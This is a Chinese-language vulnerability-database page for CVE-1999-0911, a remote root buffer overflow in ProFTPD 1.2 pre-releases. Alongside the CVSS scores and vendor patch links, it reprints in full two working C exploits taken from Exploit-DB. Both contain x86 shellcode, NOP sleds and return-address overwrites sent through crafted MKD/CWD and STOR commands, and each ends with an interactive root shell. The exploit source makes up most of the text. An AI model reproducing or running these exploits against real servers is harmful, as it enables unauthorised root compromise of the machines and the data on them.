CVE-1999-0911
CVSS10.0
发布时间 :1999-08-27 00:00:00
修订时间 :2008-09-09 08:36:09
NMCOES    

[原文]Buffer overflow in ProFTPD, wu-ftpd, and beroftpd allows remote attackers to gain root access via a series of MKD and CWD commands that create nested directories.


[CNNVD]ProFTPD 1.2远程缓冲区溢出漏洞(CNNVD-199908-055)

        
        ProFTPD是一种使用比较广泛的FTP服务器程序。
        ProFTPD 1.2版实现上存在缓冲区溢出漏洞,远程攻击者可能通过溢出攻击在主机上以root用户的权限执行任意指令。
        ProFTPD 1.2pre1、1.2pre3、1.2pre3在src/log.c的log_xfer()函数中,由于snprintf()调用使用不正确,存在远程可利用的缓冲区溢出漏洞。1.2pre4版本存在一个mkdir溢出漏洞,目录名长度超过255个字节就会导致溢出。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:proftpd_project:proftpd:1.2_pre4
cpe:/a:proftpd_project:proftpd:1.2_pre3
cpe:/a:proftpd_project:proftpd:1.2_pre2
cpe:/a:proftpd_project:proftpd:1.2_pre5
cpe:/a:proftpd_project:proftpd:1.2_pre1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0911
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0911
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199908-055
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/612
(UNKNOWN)  BID  612
http://www.debian.org/security/1999/19990210
(UNKNOWN)  DEBIAN  19990210

- 漏洞信息

ProFTPD 1.2远程缓冲区溢出漏洞
危急 边界条件错误
1999-08-27 00:00:00 2005-10-20 00:00:00
远程  
        
        ProFTPD是一种使用比较广泛的FTP服务器程序。
        ProFTPD 1.2版实现上存在缓冲区溢出漏洞,远程攻击者可能通过溢出攻击在主机上以root用户的权限执行任意指令。
        ProFTPD 1.2pre1、1.2pre3、1.2pre3在src/log.c的log_xfer()函数中,由于snprintf()调用使用不正确,存在远程可利用的缓冲区溢出漏洞。1.2pre4版本存在一个mkdir溢出漏洞,目录名长度超过255个字节就会导致溢出。
        

- 公告与补丁

        厂商补丁:
        Debian
        ------
        Debian已经为此发布了一个安全公告(1999-11-11.1)以及相应补丁:
        1999-11-11.1:buffer overflows in proftpd
        链接:
        http://www.debian.org/security/1999/1999-11

        补丁下载:
        Source:
        
        http://security.debian.org/dists/slink/updates/source/proftpd_1.2.0pre9-4.diff.gz

        
        http://security.debian.org/dists/slink/updates/source/proftpd_1.2.0pre9-4.dsc

        
        http://security.debian.org/dists/slink/updates/source/proftpd_1.2.0pre9.orig.tar.gz

        Alpha:
        
        http://security.debian.org/dists/slink/updates/binary-alpha/proftpd_1.2.0pre9-4_alpha.deb

        i386:
        
        http://security.debian.org/dists/slink/updates/binary-i386/proftpd_1.2.0pre9-4_i386.deb

        m68k:
        
        http://security.debian.org/dists/slink/updates/binary-m68k/proftpd_1.2.0pre9-4_m68k.deb

        Sparc:
        
        http://security.debian.org/dists/slink/updates/binary-sparc/proftpd_1.2.0pre9-4_sparc.deb

        S.u.S.E.
        --------
        S.u.S.E.已经为此发布了一个安全公告(SuSE-018)以及相应补丁:
        SuSE-018:Security hole in ProFTPD
        补丁下载:
        
        http://www.suse.de/patches/index.html

- 漏洞信息 (19475)

ProFTPD 1.2 pre1/pre2/pre3/pre4/pre5 Remote Buffer Overflow (1) (EDBID:19475)
linux remote
1999-08-17 Verified
0 babcia padlina ltd
N/A [点击下载]
source: http://www.securityfocus.com/bid/612/info

The vulnerability in 1.2pre1, 1.2pre3 and 1.2pre3 is a remotely exploitable buffer overflow, the result of a sprintf() in the log_xfer() routine in src/log.c.
The vulnerability in 1.2pre4 is a mkdir overflow. The name of the created path can not exceed 255 chars.
1.2pre6 limits the command buffer size to 512 characters in src/main.c and modifies the fix from 1.2pre4. 

/*
* babcia padlina ltd. (poland, 17/08/99)
*
* your ultimate proftpd pre0-3 exploiting toolkit
*
* based on:
*               - adm-wuftpd by duke
*               - kombajn do czere�ni by Lam3rZ (thx for shellcode!)
*
* thx and greetz.
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define MAXARGLEN       64
#define MAXLINE         1024
#define ANONL           "ftp"
#define ANONP           "mozilla@"
#define INCOM           "/incoming/"
#define FTPPORT         21
#define RET             0xbffff550
#define NOP             0x90
#define ALIGN           0
#define CONTENT         "y0u ar3 n0w 0wn3d!"
#define GREEN           "\033[1;32m"
#define RED             "\033[1;31m"
#define NORM            "\033[1;39m"
#define BOLD            "\E[1m"
#define UNBOLD          "\E[m"

char *av0;
struct sockaddr_in cli;
char sendbuf[MAXLINE];

#ifdef DEBUG
FILE *phile;
#endif

long getip(name)
char *name;
{
        struct hostent *hp;
        long ip;
        extern int h_errno;

        if ((ip=inet_addr(name))==-1)
        {
                if ((hp=gethostbyname(name))==NULL)
                {
                        fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno));
                        exit(1);
                }
                memcpy(&ip, (hp->h_addr), 4);
        }
        return ip;
}

int readline(sockfd, buf)
int sockfd;
char *buf;
{
        int done = 0;
        char *n = NULL, *p = NULL, localbuff[MAXLINE];

        while (!done)
        {
                if (!p)
                {

                        int count;

                        bzero(localbuff, MAXLINE);

                        if ((count = read(sockfd, localbuff, MAXLINE)) < 0)
                        {
                                (void)fprintf(stderr, "IO error.\n");
                                return -1;
                        }
//
#ifdef DEBUG
                        fprintf(phile, "Received: %s", localbuff);
#endif
//

                        localbuff[count] = 0;
                        p = localbuff;
                }

                n=(char *)strchr(p, '\r');

                if (n)
                {
                        *n = 0;
                        n += 2;
                        done = 1;
                }

                bzero(buf, MAXLINE);

                strncat(buf, p, MAXLINE);
                p = n;
        }
        return 0;
}

int eatthis(sockfd, line)
int sockfd;
char *line;
{
        do
        {
                bzero(line, MAXLINE);
                if (readline(sockfd, line) < 0) return -1;
        } while (line[3] != ' ');

        return (int)(line[0] - '0');
}

int connecttoftp(host)
char *host;
{
        int sockfd;

        bzero(&cli, sizeof(cli));
        cli.sin_family = AF_INET;
        cli.sin_addr.s_addr=getip(host);
        cli.sin_port = htons(FTPPORT);

//
#ifdef DEBUG
        fprintf(phile, "Connecting to %s.\n", host);
#endif
//

        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                perror("socket");
                return -1;
        }

        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
        {
                perror("connect");
                return -1;
        }

//
#ifdef DEBUG
        fprintf(phile, "Connected to %s.\n", host);
#endif
//

        return sockfd;
}

int logintoftp(sockfd, login, passwd)
int sockfd;
char *login, *passwd;
{
        int result;
        char errbuf[MAXLINE];

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "USER %s\r\n", login);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 3)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "PASS %s\r\n", passwd);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        return 0;
}

int makedir(dir, sockfd)
char *dir;
int sockfd;
{
        char buf[MAXLINE], errbuf[MAXLINE], *p;
        int n, result;

        bzero(buf, MAXLINE);
        p = buf;
        for(n=0;n < strlen(dir);n++)
        {

                if(dir[n]=='\xff')
                {
                        *p='\xff';
                        p++;
                }
                *p=dir[n];
                p++;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "MKD %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "CWD %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        return 0;
}

int mkd(sockfd, cwd)
int sockfd;
char *cwd;
{

        char shellcode[]=
                "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
                "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
                "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
                "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
                "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
                "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
                "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
                "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
                "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
                "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
                "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67\x00";

        char buf1[MAXLINE], tmp[MAXLINE], *p, *q;

        if (makedir(cwd, sockfd) < 0) return -1;

        bzero(buf1, MAXLINE);

        memset(buf1, 0x90, 756);
        memcpy(buf1, cwd, strlen(cwd));

        p = &buf1[strlen(cwd)];
        q = &buf1[755];

        bzero(tmp, MAXLINE);

        while(p <= q)
        {
                strncpy(tmp, p, 100);
                if (makedir(tmp, sockfd) < 0) return -1;
                p+=100;
        }


        if (makedir(shellcode, sockfd) < 0) return -1;
        return 0;
}

int put(sockfd, offset, align)
int sockfd, offset, align;
{
        char buf2[MAXLINE], sendbuf[MAXLINE], tmp[MAXLINE], buf[MAXLINE], hostname[MAXLINE], errbuf[MAXLINE], *p, *q;
        int n, sock, nsock, port, i;
        struct in_addr in;
        int octet_in[4], result;
        char *oct;
        struct sockaddr_in yo;

        bzero(buf2, MAXLINE);
        memset(buf2, NOP, 100);

        for(i=4-ALIGN-align; i<96; i+=4)
                *(long *)&buf2[i] = RET + offset;

        p = &buf2[0];
        q = &buf2[99];

        bzero(tmp, MAXLINE);
        strncpy(tmp, p, strlen(buf2));

        port=getpid()+1024;

        bzero(&yo, sizeof(yo));
        yo.sin_family = AF_INET;
        yo.sin_port=htons(port);

        bzero(buf, MAXLINE);
        p=buf;
        for(n=0;n<strlen(tmp);n++)
        {
                if(tmp[n]=='\xff')
                {
                        *p='\xff';
                        p++;
                }
                *p=tmp[n];
                p++;
        }

        gethostname(hostname, MAXLINE);
        in.s_addr = getip(hostname);

        oct=(char *)strtok(inet_ntoa(in),".");
        octet_in[0]=atoi(oct);
        oct=(char *)strtok(NULL,".");
        octet_in[1]=atoi(oct);
        oct=(char *)strtok(NULL,".");
        octet_in[2]=atoi(oct);
        oct=(char *)strtok(NULL,".");
        octet_in[3]=atoi(oct);

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) {
                perror("socket()");
                return -1;
        }

        if ((bind(sock, (struct sockaddr *) &yo, sizeof(struct sockaddr))) < 0)
        {
                perror("bind()");
                close(sock);
                return -1;
        }

        if (listen (sock,10) < 0)
        {
                perror("listen()");
                close(sock);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "STOR %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        if ((nsock=accept(sock,(struct sockaddr *)&cli,(int *)sizeof(struct sockaddr))) < 0)
        {
                perror("accept()");
                close(sock);
                return -1;
        }

        write(nsock, CONTENT, sizeof(CONTENT));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", CONTENT);
#endif
//

        close(sock);
        close(nsock);

        return 0;
}

int sh(sockfd)
int sockfd;
{
        char buf[MAXLINE];
        int c;
        fd_set rf, drugi;

        FD_ZERO(&rf);
        FD_SET(0, &rf);
        FD_SET(sockfd, &rf);

        while (1)
        {
                bzero(buf, MAXLINE);
                memcpy (&drugi, &rf, sizeof(rf));
                select(sockfd+1, &drugi, NULL, NULL, NULL);
                if (FD_ISSET(0, &drugi))
                {
                        c = read(0, buf, MAXLINE);
                        send(sockfd, buf, c, 0x4);
                }

                if (FD_ISSET(sockfd, &drugi))
                {
                        c = read(sockfd, buf, MAXLINE);
                        if (c<0) return 0;
                        write(1,buf,c);
                }
        }
}

void usage(void)
{
        (void)fprintf(stderr, "usage: %s [-l login -p passwd] [-d dir] [-o offset] [-a align] host\n", av0);
        exit(1);
}

int main(argc, argv)
int argc;
char **argv;
{
        extern int optind, opterr;
        extern char *optarg;
        int ch, aflag, oflag, lflag, pflag, dflag, offset, align, sockfd;
        char login[MAXARGLEN], passwd[MAXARGLEN], cwd[MAXLINE+1];

        (void)fprintf(stderr, "\n%sbabcia padlina ltd. proudly presents:\nyour ultimate proftpd pre0-3 exploiting toolkit%s%s\n\n", GREEN, NORM, UNBOLD);

        if (strchr(argv[0], '/'))
                av0 = strrchr(argv[0], '/') + 1;
        else
                av0 = argv[0];

        opterr = aflag = oflag = lflag = pflag = dflag = 0;

        while ((ch = getopt(argc, argv, "l:p:d:o:a:")) != -1)
                switch((char)ch)
                {
                        case 'l':
                                lflag = 1;
                                strncpy(login, optarg, MAXARGLEN);
                                break;

                        case 'p':
                                pflag = 1;
                                strncpy(passwd, optarg, MAXARGLEN);
                                break;

                        case 'd':
                                dflag = 1;
                                strncpy(cwd, optarg, MAXARGLEN);
                                break;

                        case 'o':
                                oflag = 1;
                                offset = atoi(optarg);
                                break;

                        case 'a':
                                aflag = 1;
                                align = atoi(optarg);
                                break;

                        case '?':
                        default:
                                usage();
                }

        argc -= optind;
        argv += optind;

        if (argc != 1) usage();
        if (!lflag) strncpy(login, ANONL, MAXARGLEN);
        if (!pflag) strncpy(passwd, ANONP, MAXARGLEN);
        if (!dflag) sprintf(cwd, "%s%d", INCOM, getpid());
        if (!oflag) offset = 0;
        if (!aflag) align = 0;

//
#ifdef DEBUG
        phile = fopen("debug", "w");
#endif
//

        if ((sockfd = connecttoftp(*argv)) < 0)
        {
                (void)fprintf(stderr, "Connection to %s failed.\n", *argv);
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }

        (void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);

        if (logintoftp(sockfd, login, passwd) < 0)
        {
                (void)fprintf(stderr, "Logging in to %s (%s/%s) failed.\n", *argv, login, passwd);
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }

        (void)fprintf(stderr, "Logged in as %s/%s. Preparing shellcode in %s\n", login, passwd, cwd);

        if (mkd(sockfd, cwd) < 0)
        {
                (void)fprintf(stderr, "Unknown error while making directories.\n");
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }

        (void)fprintf(stderr, "RET: %x, align: %i. Smashing stack.\n", RET + offset, align);

        if (put(sockfd, offset, align) < 0)
        {
                (void)fprintf(stderr, "Unknown error while sending RETs.\n");
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }

        (void)fprintf(stderr, "Y0u are n0w r00t.\n");

        if (sh(sockfd) < 0)
        {
                (void)fprintf(stderr, "Connection unexpectly terminated.\n");
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                close(sockfd);
                exit(1);
        }
//
#ifdef DEBUG
        fclose(phile);
#endif
//
        exit(0);
}
		

- 漏洞信息 (19476)

ProFTPD 1.2 pre1/pre2/pre3/pre4/pre5 Remote Buffer Overflow (2) (EDBID:19476)
linux remote
1999-08-27 Verified
0 Anonymous
N/A [点击下载]
source: http://www.securityfocus.com/bid/612/info
 
The vulnerability in 1.2pre1, 1.2pre3 and 1.2pre3 is a remotely exploitable buffer overflow, the result of a sprintf() in the log_xfer() routine in src/log.c.
The vulnerability in 1.2pre4 is a mkdir overflow. The name of the created path can not exceed 255 chars.
1.2pre6 limits the command buffer size to 512 characters in src/main.c and modifies the fix from 1.2pre4. 

/*
 * !!!! Private .. ... distribute !!!!
 *
 * <pro.c> proftpd-1.2.0 remote root exploit (beta2)
 * (Still need some code, but it works fine)
 *
 * Offset: Linux Redhat 6.0
 * 0 -> proftpd-1.2.0pre1 
 * 0 -> proftpd-1.2.0pre2
 * 0 -> proftpd-1.2.0pre3
 * (If this dont work, try changing the align)
 *
 * Usage:
 * $ cc pro.c -o pro
 * $ pro 1.1.1.1 ftp.linuz.com /incoming 
 *
 * ****
 * Comunists are still alive ph34r
 * A lot of shit to : #cybernet@ircnet
 * Greez to Soren,Draven,DaSnake,Nail^D0D,BlackBird,scaina,cliffo,m00n,phroid,Mr-X,inforic
 *          Dialtone,AlexB,naif,etcetc
 * without them this puppy cant be spreaded uaz uaz uaz
 * ****    
 *          

#include <stdio.h> 
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

#define RET 0xbffff550
#define ALINEA 0

void logintoftp();
void sh();
void mkd(char *);
void put(char *);
int max(int, int);

char shellcode[] =
"\x90\x90\x31\xc0\x31\xdb\xb0\x17"
"\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0"
"\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0"
"\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10"
"\x56\x01\xce\x89\x1e\x83\xc6\x03"
"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10"
"\xcd\x80\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\xe8\xac\xff\xff\xff";

char tmp[256];
char name[128], pass[128];

int sockfd;
struct sockaddr_in server, yo;
char inicio[20];

int main(int argc, char **argv) {

char sendln[1024], recvln[4048], buf1[1000], buf2[200];
struct hostent *host;
char *p, *q;
int len;
int offset = 0;
int align = 0;
int i;

if(argc < 4){
        printf("usage: pro <your_ip> <host> <dir> [-l name pass] [offset align]\n");
        printf("If dont work, try different align values (0 to 3)\n");
        exit(0); }
                
if(argc >= 5){
        if(strcmp(argv[4], "-l") == 0){
        strncpy(name, argv[5], 128);
        strncpy(pass, argv[6], 128);
} else {
        offset = atoi(argv[4]); }
        if(argc == 9)
        offset = atoi(argv[7]);
        align = atoi(argv[8]); }
        
sprintf(inicio, "%s", argv[1]);
                
if(name[0] == 0 && pass[0] == 0){
        strcpy(name, "anonymous");
        strcpy(pass, "a@a.es"); }

bzero(&server,sizeof(server));
bzero(recvln,sizeof(recvln));
bzero(sendln,sizeof(sendln));
server.sin_family=AF_INET;
server.sin_port=htons(21);

if((host = gethostbyname(argv[2])) != NULL) {
        bcopy(host->h_addr, (char *)&server.sin_addr, host->h_length);
} else {
        if((server.sin_addr.s_addr = inet_addr(argv[2]))<1) {
                perror("Obteniendo ip");
                exit(0); }
        }

bzero((char*)&yo,sizeof(yo));
yo.sin_family = AF_INET;

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
        perror("socket()");
        exit(0); }

if((bind(sockfd, (struct sockaddr *)&yo, sizeof(struct sockaddr)))<0) {
        perror("bind()");
        exit(0); }

if(connect(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0){
        perror("connect()");
        exit(0); }
        
printf("Destination_ip: %s \nDestination_port: %d\nSource_ip: %s \nSource_port: %d\n",
inet_ntoa(server.sin_addr), ntohs(server.sin_port), inet_ntoa(yo.sin_addr),
ntohs(yo.sin_port));
        
printf("Connected\n");
getchar();
               
while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
        recvln[len] = '\0';
        if(strchr(recvln, '\n') != NULL)
        break; }
                        
logintoftp(sockfd);
printf("Logged\n");
bzero(sendln, sizeof(sendln));

memset(buf1, 0x90, 800);
memcpy(buf1, argv[3], strlen(argv[3]));
mkd(argv[3]);
p = &buf1[strlen(argv[3])];
q = &buf1[799];
*q = '\x00';
while(p <= q) {
        strncpy(tmp, p, 100);
        mkd(tmp);
        p+=100; }

mkd(shellcode);
mkd("bin");
mkd("sh");

memset(buf2, 0x90, 100);
for(i=4-ALINEA-align; i<96; i+=4)
        *(long *)&buf2[i] = RET + offset;
p = &buf2[0];
q = &buf2[99];
strncpy(tmp, p, 100);
put(tmp);

sh(sockfd);

close(sockfd);
printf("EOF\n");
}

void mkd(char *dir) {
        
char snd[1024], rcv[1024];
char buf[1024], *p;
int n;
        
bzero(buf,sizeof(buf));
p=buf;

for(n=0;n<strlen(dir);n++) {
        if(dir[n]=='\xff') {
                *p='\xff';
                p++; }
        *p=dir[n];
        p++; }

sprintf(snd,"MKD %s\r\n",buf);
write(sockfd,snd,strlen(snd));
bzero(snd,sizeof(snd));
sprintf(snd,"CWD %s\r\n",buf);
write(sockfd,snd,strlen(snd));
bzero(rcv,sizeof(rcv));

while((n=read(sockfd,rcv,sizeof(rcv)))>0) {
        rcv[n]=0;
        if(strchr(rcv,'\n')!=NULL)
                break; }
        return;
}

void put(char *dir) {

char snd[1024], rcv[1024];
char buf[1024], *p;
int n;
int sockete, nsock;
int port;
int octeto_in[4];
char *oct;
        
port=getpid()+1024;

yo.sin_port=htons(port);
        
bzero(buf,sizeof(buf));
p=buf;
for(n=0;n<strlen(dir);n++) {
        if(dir[n]=='\xff') {
                *p='\xff';
                p++; }
        *p=dir[n];
        p++; }

oct=(char *)strtok(inicio,".");
octeto_in[0]=atoi(oct);
oct=(char *)strtok(NULL,".");
octeto_in[1]=atoi(oct);
oct=(char *)strtok(NULL,".");
octeto_in[2]=atoi(oct);
oct=(char *)strtok(NULL,".");
octeto_in[3]=atoi(oct);

sprintf(snd,"PORT %d,%d,%d,%d,%d,%d\r\n",octeto_in[0],octeto_in[1],
octeto_in[2],octeto_in[3],port / 256,port % 256);
write(sockfd,snd,strlen(snd));

// socket
// bind
// listen
if((sockete=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
        perror("Socket()");
        exit(0); }
                        
if((bind(sockete,(struct sockaddr *)&yo,sizeof(struct sockaddr)))==-1) {
        perror("Bind()");
        close(sockete);
        exit(0); }

if(listen(sockete,10)==-1) {
        perror("Listen()");
        close(sockete);
        exit(0); }

bzero(snd, sizeof(snd));
sprintf(snd, "STOR %s\r\n", buf);
write(sockfd, snd, strlen(snd));

// accept
// write
// close 
if((nsock=accept(sockete,(struct sockaddr *)&server,(int *)sizeof(struct sockaddr)))==-1) {
        perror("accept()");
        close(sockete);
        exit(0); }
        
write(nsock, "aaaaaaaaa", 10);
 
close(sockete);
close(nsock);

bzero(rcv, sizeof(rcv));
while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
        rcv[n] = 0;
        if(strchr(rcv, '\n') != NULL)
                break; }
        return; 
}

void logintoftp() {

char snd[1024], rcv[1024];
int n;

printf("Logging %s/%s\n", name, pass);
memset(snd, '\0', 1024);
sprintf(snd, "USER %s\r\n", name);
write(sockfd, snd, strlen(snd));

while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
        rcv[n] = 0;
        if(strchr(rcv, '\n') != NULL)
                break; }

memset(snd, '\0', 1024);
sprintf(snd, "PASS %s\r\n", pass);
write(sockfd, snd, strlen(snd));

while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
        rcv[n] = 0;
        if(strchr(rcv, '\n') != NULL)
                break; }
        return;
}

void sh() {
        
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;

strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(sockfd, snd, strlen(snd));

for(;;){
        FD_SET(fileno(stdin), &rset);
        FD_SET(sockfd, &rset);
        maxfd = max(fileno(stdin), sockfd) + 1;
        select(maxfd, &rset, NULL, NULL, NULL);
        if(FD_ISSET(fileno(stdin), &rset)){
                bzero(snd, sizeof(snd));
                fgets(snd, sizeof(snd)-2, stdin);
                write(sockfd, snd, strlen(snd)); }
        if(FD_ISSET(sockfd, &rset)){
                bzero(rcv, sizeof(rcv));
                if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
                        printf("EOF.\n");
                        exit(0); }
                if(n < 0){
                        perror("read()");
                        exit(-1); }
                 fputs(rcv, stdout); }
        }
}

int max(int x, int y) {

if(x > y)
        return(x);
else
        return(y);
}
		

- 漏洞信息

144
ProFTPD src/log.c log_xfer() Function Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

1999-08-27 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 1.2.0pre7 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

ProFTPD Remote Buffer Overflow
Boundary Condition Error 612
Yes No
1999-08-27 12:00:00 2009-07-11 12:56:00
The first information about this vulnerability came in the form of an exploit posted by <acidrain@hackbox.com> to the BUGTRAQ mailing list. The information for the vulnerability in 1.2pre4 was posted to Bugtraq by Renaud Deraison.

- 受影响的程序版本

ProFTPD Project ProFTPD 1.2 pre5
ProFTPD Project ProFTPD 1.2 pre4
ProFTPD Project ProFTPD 1.2 pre3
ProFTPD Project ProFTPD 1.2 pre2
ProFTPD Project ProFTPD 1.2 pre1
ProFTPD Project ProFTPD 1.2 pre6

- 不受影响的程序版本

ProFTPD Project ProFTPD 1.2 pre6

- 漏洞讨论

The vulnerability in 1.2pre1, 1.2pre3 and 1.2pre3 is a remotely exploitable buffer overflow, the result of a sprintf() in the log_xfer() routine in src/log.c.
The vulnerability in 1.2pre4 is a mkdir overflow. The name of the created path can not exceed 255 chars.
1.2pre6 limits the command buffer size to 512 characters in src/main.c and modifies the fix from 1.2pre4.

- 漏洞利用

exploit available

- 解决方案

Upgrade to ProFTPD 1.2.0pre6, available at:
ftp.tos.net/pub/proftpd
or
ftp.proftpd.net/pub/proftpd

RedHat Linux 6.0:

Intel:
ftp://updates.redhat.com/powertools/6.0/i386/proftpd-1.2.0pre3-6.i386.rpm

Alpha:
ftp://updates.redhat.com/powertools/6.0/alpha/proftpd-1.2.0pre3-6.alpha.rpm

Sparc:
ftp://updates.redhat.com/powertools/6.0/sparc/proftpd-1.2.0pre3-6.sparc.rpm

Source packages:
ftp://updates.redhat.com/powertools/6.0/SRPMS/proftpd-1.2.0pre3-6.src.rpm

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站